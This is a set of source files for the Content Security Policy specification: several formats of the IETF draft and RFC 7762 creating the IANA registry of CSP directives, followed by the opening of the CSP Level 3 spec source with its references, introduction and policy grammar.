and is further discussed in Section 3.2. 3. IANA Considerations This specification creates a new top-level IANA registry named "Content Security Policy directives". West Expires April 9, 2016 [Page 2] Internet-Draft webappsec-csp-reg October 2015 3.1. Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, must be registered with IANA. When registering a new Content Security Policy directive, the following information must be provided: o The directive's name, an ASCII string conforming to the "directive-name" rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows: directive-name = 1*( ALPHA / DIGIT / "-" ) o A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: +-----------------+-----------+ | Directive Name | Reference | +-----------------+-----------+ | base-uri | [CSP] | | child-src | [CSP] | | connect-src | [CSP] | | default-src | [CSP] | | font-src | [CSP] | | form-action | [CSP] | | frame-ancestors | [CSP] | | frame-src | [CSP] | | img-src | [CSP] | | media-src | [CSP] | | object-src | [CSP] | | plugin-types | [CSP] | | report-uri | [CSP] | | sandbox | [CSP] | | script-src | [CSP] | | style-src | [CSP] | +-----------------+-----------+ 3.2. Registration Policy for Content Security Policy directives The registration policy for Content Security Policy directives is "Specification Required" [RFC5226], which uses a designated expert to review the specification. West Expires April 9, 2016 [Page 3] Internet-Draft webappsec-csp-reg October 2015 The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision): o Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. o Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. 4. Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive's expected implementation. 5. References 5.1. Normative References [CSP] West, M. and D. Veditz, "Content Security Policy", n.d., . [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008, . [RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008. 5.2. Informative References [RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008, . West Expires April 9, 2016 [Page 4] Internet-Draft webappsec-csp-reg October 2015 Appendix A. Acknowledgements Much of this document's structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions. Author's Address Mike West Google, Inc Email: mkwst@google.com URI: https://mikewest.org/ West Expires April 9, 2016 [Page 5] ================================================ FILE: iana/draft-west-webappsec-csp-reg-04.html ================================================ Initial Assignment for a Content Security Policy Directive Registry
Network Working Group M. West
Internet-Draft Google, Inc
Intended status: Informational November 20, 2015
Expires: May 23, 2016

Initial Assignment for a Content Security Policy Directive Registry
draft-west-webappsec-csp-reg-04

Abstract

This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on May 23, 2016.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.


Table of Contents

1. Introduction

The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

The policy language specified in that document consists of an extensible set of “directives”, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.

2. Use of the Registry

Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.

Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is “Specification Required” [RFC5226], and is further discussed in Section 3.2.

3. IANA Considerations

This specification creates a new top-level IANA registry named “Content Security Policy directives”.

3.1. Content Security Policy directives Registry

New Content Security Policy directives, and updates to existing directives, must be registered with IANA.

When registering a new Content Security Policy directive, the following information must be provided:

directive-name  = 1*( ALPHA / DIGIT / "-" )

  • The directive’s name, an ASCII string conforming to the directive-name rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows:

  • A reference to the readily available public specification defining the new directive’s syntax, usage, and semantics.

The following table contains the initial values for this registry:

Directive Name Reference
base-uri [CSP]
child-src [CSP]
connect-src [CSP]
default-src [CSP]
font-src [CSP]
form-action [CSP]
frame-ancestors [CSP]
frame-src [CSP]
img-src [CSP]
media-src [CSP]
object-src [CSP]
plugin-types [CSP]
report-uri [CSP]
sandbox [CSP]
script-src [CSP]
style-src [CSP]

3.2. Registration Policy for Content Security Policy directives

The registration policy for Content Security Policy directives is “Specification Required” [RFC5226], which uses a designated expert to review the specification.

When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C’s security community, coordinating through the liaison.

The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision:

  • Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.
  • Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.

4. Security Considerations

The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive’s expected implementation.

5. References

5.1. Normative References

[CSP] West, M., Barth, A. and D. Veditz, "Content Security Policy Level 2", n.d..
[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.
[RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, DOI 10.17487/RFC5234, January 2008.

5.2. Informative References

[RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008.

Appendix A. Acknowledgements

Much of this document’s structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.

Author's Address

Mike West Google, Inc EMail: mkwst@google.com URI: https://mikewest.org/
================================================ FILE: iana/draft-west-webappsec-csp-reg-04.txt ================================================ Network Working Group M. West Internet-Draft Google, Inc Intended status: Informational November 20, 2015 Expires: May 23, 2016 Initial Assignment for a Content Security Policy Directive Registry draft-west-webappsec-csp-reg-04 Abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on May 23, 2016. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. West Expires May 23, 2016 [Page 1] Internet-Draft webappsec-csp-reg November 2015 Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Use of the Registry . . . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 3.1. Content Security Policy directives Registry . . . . . . . 3 3.2. Registration Policy for Content Security Policy directives . . . . . . . . . . . . . . . . . . . . . . . 3 4. Security Considerations . . . . . . . . . . . . . . . . . . . 4 5. References . . . . . . . . . . . . . . . . . . . . . . . . . 4 5.1. Normative References . . . . . . . . . . . . . . . . . . 4 5.2. Informative References . . . . . . . . . . . . . . . . . 5 Appendix A. Acknowledgements . . . . . . . . . . . . . . . . . . 5 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 5 1. Introduction The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. 2. Use of the Registry Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" [RFC5226], and is further discussed in Section 3.2. 3. IANA Considerations This specification creates a new top-level IANA registry named "Content Security Policy directives". West Expires May 23, 2016 [Page 2] Internet-Draft webappsec-csp-reg November 2015 3.1. Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, must be registered with IANA. When registering a new Content Security Policy directive, the following information must be provided: o The directive's name, an ASCII string conforming to the "directive-name" rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows: directive-name = 1*( ALPHA / DIGIT / "-" ) o A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: +-----------------+-----------+ | Directive Name | Reference | +-----------------+-----------+ | base-uri | [CSP] | | child-src | [CSP] | | connect-src | [CSP] | | default-src | [CSP] | | font-src | [CSP] | | form-action | [CSP] | | frame-ancestors | [CSP] | | frame-src | [CSP] | | img-src | [CSP] | | media-src | [CSP] | | object-src | [CSP] | | plugin-types | [CSP] | | report-uri | [CSP] | | sandbox | [CSP] | | script-src | [CSP] | | style-src | [CSP] | +-----------------+-----------+ 3.2. Registration Policy for Content Security Policy directives The registration policy for Content Security Policy directives is "Specification Required" [RFC5226], which uses a designated expert to review the specification. West Expires May 23, 2016 [Page 3] Internet-Draft webappsec-csp-reg November 2015 When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C's security community, coordinating through the liaison. The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision: o Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. o Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. 4. Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive's expected implementation. 5. References 5.1. Normative References [CSP] West, M., Barth, A., and D. Veditz, "Content Security Policy Level 2", n.d., . [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008, . [RFC5234] Crocker, D., Ed. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, DOI 10.17487/ RFC5234, January 2008, . West Expires May 23, 2016 [Page 4] Internet-Draft webappsec-csp-reg November 2015 5.2. Informative References [RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008, . Appendix A. Acknowledgements Much of this document's structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions. Author's Address Mike West Google, Inc Email: mkwst@google.com URI: https://mikewest.org/ West Expires May 23, 2016 [Page 5] ================================================ FILE: iana/draft.md ================================================ --- title: Initial Assignment for a Content Security Policy Directive Registry abbrev: webappsec-csp-reg docname: draft-west-webappsec-csp-reg-04 date: 2015 category: info ipr: trust200902 area: General keyword: Internet-Draft pi: [toc, tocindent, sortrefs, symrefs, strict, compact, comments, inline] author: - ins: M. West name: Mike West organization: Google, Inc email: mkwst@google.com uri: https://mikewest.org/ normative: CSP: target: https://www.w3.org/TR/CSP2 title: Content Security Policy Level 2 author: - ins: M. West name: Mike West organization: Google, Inc. - ins: A. Barth name: Adam Barth organization: Google, Inc. - ins: D. Veditz name: Dan Veditz organization: Mozilla RFC5226: RFC5234: informative: RFC5341: --- abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives, and populates that registry with the directives defined in the Content Security Policy Level 2 specification. --- middle # Introduction The Content Security Policy specification {{CSP}} defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. # Use of the Registry Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" {{RFC5226}}, and is further discussed in Section 3.2. # IANA Considerations This specification creates a new top-level IANA registry named "Content Security Policy directives". ## Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, must be registered with IANA. When registering a new Content Security Policy directive, the following information must be provided: * The directive's name, an ASCII string conforming to the `directive-name` rule specified in Section 4.1 of {{CSP}}. The ABNF {{RFC5234}} is as follows: directive-name = 1*( ALPHA / DIGIT / "-" ) * A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: | Directive Name | Reference | | base-uri | {{CSP}} | | child-src | {{CSP}} | | connect-src | {{CSP}} | | default-src | {{CSP}} | | font-src | {{CSP}} | | form-action | {{CSP}} | | frame-ancestors | {{CSP}} | | frame-src | {{CSP}} | | img-src | {{CSP}} | | media-src | {{CSP}} | | object-src | {{CSP}} | | plugin-types | {{CSP}} | | report-uri | {{CSP}} | | sandbox | {{CSP}} | | script-src | {{CSP}} | | style-src | {{CSP}} | ## Registration Policy for Content Security Policy directives The registration policy for Content Security Policy directives is "Specification Required" {{RFC5226}}, which uses a designated expert to review the specification. When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C's security community, coordinating through the liaison. The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision: * Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. * Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. # Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive's expected implementation. --- back # Acknowledgements Much of this document's structure comes from {{RFC5341}}. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions. ================================================ FILE: iana/rfc7762.xml ================================================ ]> Initial Assignment for the Content Security Policy Directives Registry Google, Inc
mkwst@google.com https://mikewest.org/
CSP W3C This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives and populates that registry with the directives defined in the Content Security Policy Level 2 specification.
The Content Security Policy (CSP) specification defines a mechanism that web developers can use to control the resources which a particular page can fetch or execute, as well as a number of additional security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.
The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in this document are to be interpreted as described in .
Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation MUST fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives MUST register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" and is further discussed in Section 3.2.
This specification creates a new top-level IANA registry named "Content Security Policy Directives".
New Content Security Policy directives, and updates to existing directives, MUST be registered with IANA. When registering a new Content Security Policy directive, the following information MUST be provided: The directive's name, an ASCII string conforming to the directive-name rule specified in Section 4.1 of . The ABNF is as follows:
A reference to the readily available public specification defining the new directive's syntax, usage, and semantics.
The following table contains the initial values for this registry: Directive Name Reference base-uri child-src connect-src default-src font-src form-action frame-ancestors frame-src img-src media-src object-src plugin-types report-uri sandbox script-src style-src
The registration policy for Content Security Policy directives is "Specification Required" , which uses a designated expert to review the specification. When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C's security community, coordinating through the liaison. The designated expert, when deliberating on whether to include a new directive in the registry, SHOULD consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision: Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs that would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert SHOULD carefully consider whether proposed directives would violate this property. Granular directives are valuable, but the expert SHOULD strive to strike a reasonable balance between providing developers with all the knobs and switches possible and providing only those with known security implications.
The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives MUST contain detailed security and privacy considerations sections, and SHOULD contain usage information that informs web developers as to the directive's expected implementation.
Content Security Policy Level 2 Google, Inc. Google, Inc. Mozilla &RFC2119; &RFC5226; &RFC5234; &RFC5341;
Much of this document's structure comes from . Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within and to Barry Leiba for his helpful commentary and suggestions.
================================================ FILE: index.bs ================================================

Content Security Policy Level 3

spec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454
  type: dfn
    text: the same; url: section-5
spec: ECMA262; urlPrefix: https://tc39.github.io/ecma262
  type: dfn
    text: realm
  type: method
    text: HostEnsureCanCompileStrings(); url: sec-hostensurecancompilestrings
    text: eval(); url: sec-eval-x
    text: Function(); url: sec-function-objects
spec: MIX; urlPrefix: https://www.w3.org/TR/mixed-content/
  type: dfn; text: block-all-mixed-content
spec: RFC3986; urlPrefix: https://tools.ietf.org/html/rfc3986
  type: grammar
    text: path-absolute; url: section-3.3
    text: scheme; url: section-3.1
    text: IPv4address; url: section-3.2.2
    text: uri-reference; url: section-4.1
spec: RFC4648; urlPrefix: https://tools.ietf.org/html/rfc4648
  type: dfn
    text: base64 encoding; url: section-4
    text: base64url encoding; url: section-5
spec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234
  type: grammar
    text: ALPHA; url: appendix-B.1
    text: DIGIT; url: appendix-B.1
    text: VCHAR; url: appendix-B.1
spec: RFC5890; urlPrefix: https://tools.ietf.org/html/rfc5890
  type: dfn
    text: label; url: section-2.2
spec: RFC9110; urlPrefix: https://tools.ietf.org/html/rfc9110
  type: grammar
    text: OWS; url: section-5.6.3
    text: token; url: section-5.6.2
  type: dfn
    url: section-3.2
      text: resource representation
      text: representation

spec: REPORTING; urlPrefix: https://w3c.github.io/reporting/
  type: dfn
    text: queue report; url: queue-report
    text: report type
    text: visible to reportingobservers

spec: SHA2; urlPrefix: https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf
  type: dfn
    text: SHA-256; url: #
    text: SHA-384; url: #
    text: SHA-512; url: #

spec: HTML; urlPrefix: https://html.spec.whatwg.org/
  type: dfn
    for: script
      text: "parser-inserted"
    text: origin; url: concept-origin
    text: content security policy state; url: attr-meta-http-equiv-content-security-policy
    text: create and initialize a new document object; url: initialise-the-document-object
    text: initializing a new Document object; url: initialise-the-document-object
    text: prepare the script element; url: prepare-the-script-element
    text: plugin; url: #plugin
    text: navigable; url: #navigable
  type: attr-value
    for: link/rel; text: prefetch; url: link-type-prefetch
    for: link/rel; text: preconnect; url: link-type-preconnect

spec: INFRA; urlPrefix: https://infra.spec.whatwg.org/
  type: grammar
    text: ASCII whitespace; url: ascii-whitespace
    text: INFRA; url: #

spec: WebAssembly-js-api; urlPrefix: https://webassembly.github.io/spec/js-api/
  type: method
    text: new WebAssembly.Module(); url: #dom-module-module
    text: WebAssembly.compile(); url: #dom-webassembly-compile
    text: WebAssembly.instantiate(); url: #dom-webassembly-instantiate
  type: exception
    text: WebAssembly.CompileError; url: #exceptiondef-compileerror

spec: WebAssembly-web-api; urlPrefix: https://webassembly.github.io/spec/web-api/
  type: method
    text: WebAssembly.compileStreaming(); url: #dom-webassembly-compilestreaming
    text: WebAssembly.instantiateStreaming(); url: #dom-webassembly-instantiatestreaming

spec: WebAssembly-js-csp-proposal; urlPrefix: https://webassembly.github.io/content-security-policy/js-api/
  type: method
    text: HostEnsureCanCompileWasmBytes(); url:#host-ensure-can-compile-wasm-bytes

spec: WebRTC; urlPrefix: https://www.w3.org/TR/webrtc/
  type:dfn
    text: administratively-prohibited; url: #dfn-administratively-prohibited

spec:SRI; urlPrefix: https://w3c.github.io/webappsec-subresource-integrity
  type:dfn;
    text:applying algorithm to bytes; url: #apply-algorithm-to-response
    text: cryptographic hash function; url: #hash-functions

{
  "HTML-DESIGN": {
    "authors": [ "Anne Van Kesteren", "Maciej Stachowiak" ],
    "href": "https://www.w3.org/TR/html-design-principles/",
    "title": "HTML Design Principles",
    "publisher": "W3C"
  },
  "ECMA262": {
    "authors": [ "Brian Terlson", "Allen Wirfs-Brock" ],
    "href": "https://tc39.github.io/ecma262/",
    "title": "ECMAScript® Language Specification",
    "publisher": "ECMA"
  },
  "REPORTING": {
    "href": "https://wicg.github.io/reporting/",
    "title": "Reporting API",
    "authors": [ "Ilya Grigorik", "Mike West" ]
  },
  "TIMING": {
      "href": "https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf",
      "title": "Pixel Perfect Timing Attacks",
      "authors": [ "Paul Stone" ]
  },
  "H5SC3": {
      "href": "https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22",
      "title": "H5SC Minichallenge 3: \"Sh*t, it's CSP!\"",
      "authors": [ "Mario Heiderich" ],
      "publisher": "Cure53"
  },
  "CSS-ABUSE": {
      "href": "https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html",
      "title": "Generic cross-browser cross-domain theft",
      "authors": [ "Chris Evans" ],
      "date": "28 December 2009"
  },
  "FILEDESCRIPTOR-2015": {
      "href": "https://blog.innerht.ml/csp-2015/#danglingmarkupinjection",
      "title": "CSP 2015",
      "authors": [ "filedescriptor" ],
      "date": "23 November 2015"
  },
  "LONG-LIVE-CSP": {
      "href": "https://dl.acm.org/doi/10.1145/2976749.2978363",
      "title": "CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy",
      "authors": [ "Lukas Weichselbaum", "Michele Spagnuolo", "Sebastian Lekies", "Artur Janc" ],
      "date": "24 October 2016"
  },
  "WEBDEV-STRICTCSP": {
      "href": "https://web.dev/strict-csp/",
      "title": "Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)",
      "authors": [ "Lukas Weichselbaum" ],
      "date": "15 March 2021"
  }
}

Introduction

This section is not normative. This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute. CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding. This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.

Examples

Control Execution

MegaCorp Inc's developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect:
      Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
    

Goals

Content Security Policy aims to do to a few related things: 1. Mitigate the risk of content-injection attacks by giving developers fairly granular control over * The resources which can be requested (and subsequently embedded or executed) on behalf of a specific {{Document}} or {{Worker}} * The execution of inline script * Dynamic code execution (via {{eval()}} and similar constructs) * The application of inline style 2. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [[TIMING]], for example) by giving developers granular control over the origins which can embed a given resource. 3. Provide a policy framework which allows developers to reduce the privilege of their applications. 4. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

Changes from Level 2

This document describes an evolution of the Content Security Policy Level 2 specification [[CSP2]]. The following is a high-level overview of the changes: 1. The specification has been rewritten from the ground up in terms of the [[FETCH]] specification, which should make it simpler to integrate CSP's requirements and restrictions with other specifications (and with Service Workers in particular). 2. The `child-src` model has been substantially altered: 1. The `frame-src` directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to `child-src` if not present (which defers to `default-src` in turn). 2. A `worker-src` directive has been added, deferring to `child-src` if not present (which likewise defers to `script-src` and eventually `default-src`). 3. The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression `http://example.com:80` will match both `http://example.com:80` and `https://example.com:443`. Likewise, `'self'` now matches `https:` and `wss:` variants of the page's origin, even on pages whose scheme is `http`. 4. Violation reports generated from inline script or style will now report "`inline`" as the blocked resource. Likewise, blocked `eval()` execution will report "`eval`" as the blocked resource. 5. The `manifest-src` directive has been added. 6. The `report-uri` directive is deprecated in favor of the new `report-to` directive, which relies on [[REPORTING]] as infrastructure. 7. The `'strict-dynamic'` source expression will now allow script which executes on a page to load more script via non-"parser-inserted" <{script}> elements. Details are in [[#strict-dynamic-usage]]. 8. The `'unsafe-hashes'` source expression will now allow event handlers, style attributes and `javascript:` navigation targets to match hashes. Details in [[#unsafe-hashes-usage]]. 9. The source expression matching has been changed to require explicit presence of any non-HTTP(S) scheme, rather than local scheme, unless that non-HTTP(S) scheme is the same as the scheme of protected resource, as described in [[#match-url-to-source-expression]]. 10. Hash-based source expressions may now match external scripts if the <{script}> element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in [[#external-hash]]. 11. Reports generated for inline violations will contain a sample attribute if the relevant directive contains the `'report-sample'` expression.

Framework

Infrastructure

This document uses ABNF grammar to specify syntax, as defined in [[!RFC5234]]. It also relies on the `#rule` ABNF extension defined in Section 5.6.1 of [[!RFC9110]], with the modification that OWS is replaced with optional-ascii-whitespace. That is, the `#rule` used in this document is defined as:
    1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )
  
and for n >= 1 and m > 1:
    <n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )
  
This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [[!INFRA]]. The following definitions are used to improve readability of other definitions in this document.
    optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
    required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
    ; These productions match the definition of ASCII whitespace from the INFRA standard.
  

Policies

A policy defines allowed and restricted behaviors, and may be applied to a {{Document}}, {{WorkerGlobalScope}}, or {{WorkletGlobalScope}}. Each policy has an associated directive set, which is an ordered set of directives that define the policy's implications when applied. Each policy has an associated disposition, which is either "`enforce`" or "`report`". Each policy has an associated source, which is either "`header`" or "`meta`". Multiple [=/policies=] can be applied to a single resource. A CSP list is a [=struct=] consisting of policies (a [=list=] of [=/policies=]) and a self-origin (an origin which is used when matching the `'self'` keyword). Note: This is needed to facilitate the `'self'` checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings object's [=environment settings object/origin=]. A [=/CSP list=] contains a header-delivered Content Security Policy if its [=CSP list/policies=] [=list/contain=] a [=/policy=] whose [=content security policy object/source=] is "`header`". A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [[!RFC5234]]:
    serialized-policy =
        serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
  
A serialized CSP list is an [=ASCII string=] consisting of a comma-delimited series of [=serialized CSPs=], adhering to the following ABNF grammar [[!RFC5234]]:
    serialized-policy-list = 1#serialized-policy
                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
